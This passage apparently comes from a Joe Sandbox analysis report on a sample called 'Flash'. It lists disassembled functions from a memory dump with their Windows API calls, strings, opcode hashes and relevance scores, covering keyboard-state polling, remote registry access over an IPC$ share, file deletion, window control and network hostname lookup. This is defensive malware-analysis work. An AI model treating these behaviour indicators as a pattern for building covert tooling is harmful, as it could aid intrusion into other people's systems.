ReleaseDC.USER32(00000000,?), ref: 00A47B75

Strings

(, xrefs: 00A47AFA

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: be40109f6dc0070cb6b8b8ff6d37f9659e9d9b81795f5fa62f7691f8b276d47a
Instruction ID: 4ffbe29fb36f3ec0cd5a3d79610e2de64b7f0ed317931ae79594d892cac4c184
Opcode Fuzzy Hash: be40109f6dc0070cb6b8b8ff6d37f9659e9d9b81795f5fa62f7691f8b276d47a
Instruction Fuzzy Hash: 80515775904349EFCB15CFA8DC84EAFBBB9EF88350F14842DF94AA7210D771A9418B60

Function 00A3A48D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00A3A4D4

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 00A3A4F6
__swprintf.LIBCMT ref: 00A3A54F
__swprintf.LIBCMT ref: 00A3A568
_wprintf.LIBCMT ref: 00A3A61E
_wprintf.LIBCMT ref: 00A3A63C

Strings

^ ERROR, xrefs: 00A3A5C0
Line %d (File "%s"):, xrefs: 00A3A549, 00A3A562
"%s" (%d) : ==> %s:, xrefs: 00A3A637
"%s" (%d) : ==> %s:%s%s, xrefs: 00A3A619
Error: , xrefs: 00A3A5E6

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 6e797492a0947b92e6a3c2ffd065590e23ff0c73b3fca71f586d4ea2945c1693
Instruction ID: c0d09b76680c55552b21f35611706db4e186d25a7325b4a6291e6d896d8a2809
Opcode Fuzzy Hash: 6e797492a0947b92e6a3c2ffd065590e23ff0c73b3fca71f586d4ea2945c1693
Instruction Fuzzy Hash: F951AB71900159BBCF16EBE0CD46FEEB779AF54340F204566F505A20A2EB312F58CB61

Function 00A39710 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A3951A: __time64.LIBCMT ref: 00A39524

Part of subcall function 009E4A8C: _fseek.LIBCMT ref: 009E4AA4

__wsplitpath.LIBCMT ref: 00A397EF

Part of subcall function 009F431E: __wsplitpath_helper.LIBCMT ref: 009F435E

_wcscpy.LIBCMT ref: 00A39802
_wcscat.LIBCMT ref: 00A39815
__wsplitpath.LIBCMT ref: 00A3983A
_wcscat.LIBCMT ref: 00A39850
_wcscat.LIBCMT ref: 00A39863

Part of subcall function 00A39560: _memmove.LIBCMT ref: 00A39599
Part of subcall function 00A39560: _memmove.LIBCMT ref: 00A395A8

_wcscmp.LIBCMT ref: 00A397AA

Part of subcall function 00A39CF1: _wcscmp.LIBCMT ref: 00A39DE1
Part of subcall function 00A39CF1: _wcscmp.LIBCMT ref: 00A39DF4

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00A39A0D
_wcsncpy.LIBCMT ref: 00A39A80
DeleteFileW.KERNEL32(?,?), ref: 00A39AB6
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00A39ACC
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A39ADD
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A39AEF

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 7d46a18c27b18b0ba75cc7d6c73e51c92a01535ee6b3c6c27e8e56786b3ee192
Instruction ID: a21a2ed1b98032a981673f92ff6da44b98aacb4485aed6d15e1bca42873fb810
Opcode Fuzzy Hash: 7d46a18c27b18b0ba75cc7d6c73e51c92a01535ee6b3c6c27e8e56786b3ee192
Instruction Fuzzy Hash: EDC11CB1D0021DAADF11DFA5CC85ADFBBBDAF85310F0040AAF609E6151EB709A858F65

Function 009E5BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009E5BF1
GetMenuItemCount.USER32(00A97890), ref: 00A20E7B
GetMenuItemCount.USER32(00A97890), ref: 00A20F2B
GetCursorPos.USER32(?), ref: 00A20F6F
SetForegroundWindow.USER32(00000000), ref: 00A20F78
TrackPopupMenuEx.USER32(00A97890,00000000,?,00000000,00000000,00000000), ref: 00A20F8B
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00A20F97

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 1e4ec6c8a6c4111e15f09226aae37094743ef96ad92ae905c3d6f6ec61ba1631
Instruction ID: 05b825164f68dcb6916d299da66aab6895720f4d4f1887e234bc299d91092fb0
Opcode Fuzzy Hash: 1e4ec6c8a6c4111e15f09226aae37094743ef96ad92ae905c3d6f6ec61ba1631
Instruction Fuzzy Hash: 96713770644715BFEB218F59DC45FAABF64FF04728F244226F524A61D1C7B06C90DB90

Function 00A283FA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1821: _memmove.LIBCMT ref: 009E185B

_memset.LIBCMT ref: 00A28489
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00A284BE
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00A284DA
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00A284F6
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00A28520
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00A28548
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00A28553
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00A28558

Strings

\CLSID, xrefs: 00A28440
\IPC$, xrefs: 00A284A0
SOFTWARE\Classes\, xrefs: 00A2842A

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 03c4c330b54b0c2e30f7e3ca71fded55d7c09a9bb9cafe81d83c00d16a316b4d
Instruction ID: b21f51f849f6ef437185d8dfeafe2af4115cdef8981ecd803e4b66c18ffc2482
Opcode Fuzzy Hash: 03c4c330b54b0c2e30f7e3ca71fded55d7c09a9bb9cafe81d83c00d16a316b4d
Instruction Fuzzy Hash: 43412672C1022DABCF12EBA4EC95EEEB778FF54340F004529F911A2261EA349E45CB90

Function 00A5147A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A5040D,?,?), ref: 00A51491

Strings

HKEY_CLASSES_ROOT, xrefs: 00A51524
HKEY_USERS, xrefs: 00A51592
HKCR, xrefs: 00A51539
HKU, xrefs: 00A515A3
HKLM, xrefs: 00A5150F
HKEY_LOCAL_MACHINE, xrefs: 00A514FA
HKCC, xrefs: 00A5155F
HKEY_CURRENT_CONFIG, xrefs: 00A5154E
HKEY_CURRENT_USER, xrefs: 00A51570
HKCU, xrefs: 00A51581

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 65c66b8953437e1752cc6c7428816f2b0c8ccb3b700877d24e9c6f85c6796bf5
Instruction ID: c85c3825db3e1811bdf48122ea410629df70fb922582322edfdcb8c75c599c64
Opcode Fuzzy Hash: 65c66b8953437e1752cc6c7428816f2b0c8ccb3b700877d24e9c6f85c6796bf5
Instruction Fuzzy Hash: CB41343050025A8BDF11EF90D881BFA3738BF91355F604565FDA65B2A3EB30AD1ACB60

Function 00A35882 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 009E1821: _memmove.LIBCMT ref: 009E185B

Part of subcall function 009E153B: _memmove.LIBCMT ref: 009E15C4

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00A358EB
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00A35901
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A35912
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00A35924
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00A35935

Strings

play PlayMe, xrefs: 00A35930
status PlayMe mode, xrefs: 00A358E6
close PlayMe, xrefs: 00A358FC, 00A35929
open , xrefs: 00A3589A
play PlayMe wait, xrefs: 00A3591F
alias PlayMe, xrefs: 00A358C4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 3df1e03f70674296a105630638b503b75b19bf2ec4d5d76a1f3d4c1f5a0448d4
Instruction ID: 367897b56a9a56b7ff10bdbc8a8322f752fa5acebf20ff6df0314ac083254b76
Opcode Fuzzy Hash: 3df1e03f70674296a105630638b503b75b19bf2ec4d5d76a1f3d4c1f5a0448d4
Instruction Fuzzy Hash: B7116031950269B9D721B7A6DC5AEFF6B7CFBD1B50F400829B411A61D1DE701D44CAB0

Function 00A34C0C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00A34C27
gethostname.WSOCK32(?,00000100), ref: 00A34C41
gethostbyname.WSOCK32(?), ref: 00A34C4E
_wcscpy.LIBCMT ref: 00A34C76
_memmove.LIBCMT ref: 00A34C89
inet_ntoa.WSOCK32(?), ref: 00A34C94
_strcat.LIBCMT ref: 00A34CA2
_wcscpy.LIBCMT ref: 00A34CB9
WSACleanup.WSOCK32 ref: 00A34CC7
_wcscpy.LIBCMT ref: 00A34CD5

Strings

0.0.0.0, xrefs: 00A34C70

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 313f09baffa044aab586a090adfde7408331ecef245afe1a5ab517c1e72feb00
Instruction ID: ceff2211a7cdbb31a927f07b3b42f40f829784ae6b89384443380e409231aa6f
Opcode Fuzzy Hash: 313f09baffa044aab586a090adfde7408331ecef245afe1a5ab517c1e72feb00
Instruction Fuzzy Hash: 4B11E432905109AFDB11EB609C4AFEB77BCDF85710F0401A5F14496091EFB0ADC28BA0

Function 00A35530 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00A35535

Part of subcall function 009F0859: timeGetTime.WINMM(?,00000002,009DC22C), ref: 009F085D

Sleep.KERNEL32(0000000A), ref: 00A35561
EnumThreadWindows.USER32(?,Function_000654E3,00000000), ref: 00A35585
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00A355A7
SetActiveWindow.USER32 ref: 00A355C6
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00A355D4
SendMessageW.USER32(00000010,00000000,00000000), ref: 00A355F3
Sleep.KERNEL32(000000FA), ref: 00A355FE
IsWindow.USER32 ref: 00A3560A
EndDialog.USER32(00000000), ref: 00A3561B

Strings

BUTTON, xrefs: 00A35599

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 379c7345a4e941bc7d4feb64501fde7407fca3a2cf6aa42ead9be8f54c578c03
Instruction ID: 68428e376b565f880b3f9e9bd4d7abbc78af75df211bbb8a080f1a71573d0ca7
Opcode Fuzzy Hash: 379c7345a4e941bc7d4feb64501fde7407fca3a2cf6aa42ead9be8f54c578c03
Instruction Fuzzy Hash: 9121BBB0604644AFEB41DFF8EDC9E2A3B7AEB46344F05141AF002811A1DFB1DC969A32

Function 00A3DBD0 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 009D4D37: __itow.LIBCMT ref: 009D4D62
Part of subcall function 009D4D37: __swprintf.LIBCMT ref: 009D4DAC

CoInitialize.OLE32(00000000), ref: 00A3DC2D
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00A3DCC0
SHGetDesktopFolder.SHELL32(?), ref: 00A3DCD4
CoCreateInstance.OLE32(00A63D4C,00000000,00000001,00A8B86C,?), ref: 00A3DD20
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00A3DD8F
CoTaskMemFree.OLE32(?,?), ref: 00A3DDE7
_memset.LIBCMT ref: 00A3DE24
SHBrowseForFolderW.SHELL32(?), ref: 00A3DE60
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00A3DE83
CoTaskMemFree.OLE32(00000000), ref: 00A3DE8A
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00A3DEC1
CoUninitialize.OLE32(00000001,00000000), ref: 00A3DEC3

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 7195b0a2529c966fe0796706ff13be621a8e2cd5cfd48b796c4fd397f8b05c10
Instruction ID: ca12ac8c81ce4a9362f7cf12940e5c92ec3d269d228eac65a5f69b0df1bdfa67
Opcode Fuzzy Hash: 7195b0a2529c966fe0796706ff13be621a8e2cd5cfd48b796c4fd397f8b05c10
Instruction Fuzzy Hash: AEB1C875A00119EFDB14DFA4D888EAEBBB9EF88304F148459F905EB261DB70EE45CB50

Function 00A3081B Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00A30896
SetKeyboardState.USER32(?), ref: 00A30901
GetAsyncKeyState.USER32(000000A0), ref: 00A30921
GetKeyState.USER32(000000A0), ref: 00A30938
GetAsyncKeyState.USER32(000000A1), ref: 00A30967
GetKeyState.USER32(000000A1), ref: 00A30978
GetAsyncKeyState.USER32(00000011), ref: 00A309A4
GetKeyState.USER32(00000011), ref: 00A309B2
GetAsyncKeyState.USER32(00000012), ref: 00A309DB
GetKeyState.USER32(00000012), ref: 00A309E9
GetAsyncKeyState.USER32(0000005B), ref: 00A30A12
GetKeyState.USER32(0000005B), ref: 00A30A20

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 159466e480e8cac86e81fb8c1cdf0951dfde1ab34726f5245cd7c32142ec5ee1
Instruction ID: 8df52585deac8586d1f204ea4d98ecd18ea05bb3ca43e5a0fffff33147c14223
Opcode Fuzzy Hash: 159466e480e8cac86e81fb8c1cdf0951dfde1ab34726f5245cd7c32142ec5ee1
Instruction Fuzzy Hash: 2351BC7090478829FB35DBB04525FEABFB49F01780F08859DE5C2575C3DA649A4CCBA6

Function 00A2CE00 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00A2CE1C
GetWindowRect.USER32(00000000,?), ref: 00A2CE2E
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00A2CE8C
GetDlgItem.USER32(?,00000002), ref: 00A2CE97
GetWindowRect.USER32(00000000,?), ref: 00A2CEA9
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00A2CEFD
GetDlgItem.USER32(?,000003E9), ref: 00A2CF0B
GetWindowRect.USER32(00000000,?), ref: 00A2CF1C
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00A2CF5F
GetDlgItem.USER32(?,000003EA), ref: 00A2CF6D
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00A2CF8A
InvalidateRect.USER32(?,00000000,00000001), ref: 00A2CF97

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: d9a0df477c78d79133fcb4277b403647a5a61db0894f4821825d9d048e7c0003
Instruction ID: 04cfad17f40bcef5c79878db8e4cb5ab99b6f29ee3897a00dd578665232977cc
Opcode Fuzzy Hash: d9a0df477c78d79133fcb4277b403647a5a61db0894f4821825d9d048e7c0003
Instruction Fuzzy Hash: 18515371B00205AFDB18CFACDD85EAEBBB6EB88710F14812DF516D7290D7B0AD418B50

Function 009D23F7 Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 009D1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,009D2412,?,00000000,?,?,?,?,009D1AA7,00000000,?), ref: 009D1F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 009D24AF
KillTimer.USER32(-00000001,?,?,?,?,009D1AA7,00000000,?,?,009D1EBE,?,?), ref: 009D254A
DestroyAcceleratorTable.USER32(00000000), ref: 00A0BFE7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,009D1AA7,00000000,?,?,009D1EBE,?,?), ref: 00A0C018
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,009D1AA7,00000000,?,?,009D1EBE,?,?), ref: 00A0C02F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,009D1AA7,00000000,?,?,009D1EBE,?,?), ref: 00A0C04B
DeleteObject.GDI32(00000000), ref: 00A0C05D

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: a00ce4d6fe9be0a57735632c3a1127fedeee6999742415158e37b25c7d139c40
Instruction ID: 58920be9f42c8e1e0509d9ead7c9dd2aae71860a2eb793513c90a6ca23ca2e35
Opcode Fuzzy Hash: a00ce4d6fe9be0a57735632c3a1127fedeee6999742415158e37b25c7d139c40
Instruction Fuzzy Hash: D261AF31254605DFDB25DF94E948B2AB7F1FF50312F10CA1AE44257AB0C775A892DFA0

Function 009D2581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 009D29AB: GetWindowLongW.USER32(?,000000EB), ref: 009D29BC

GetSysColor.USER32(0000000F), ref: 009D25AF

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 71bda0540794d769d0faa3c2e3deabc66436fdad72b90d25af55d9608b5ab5b0
Instruction ID: 713812c6520148efd30291b62f476ba67986aa1f3e588929ef654ab8fc9ff765
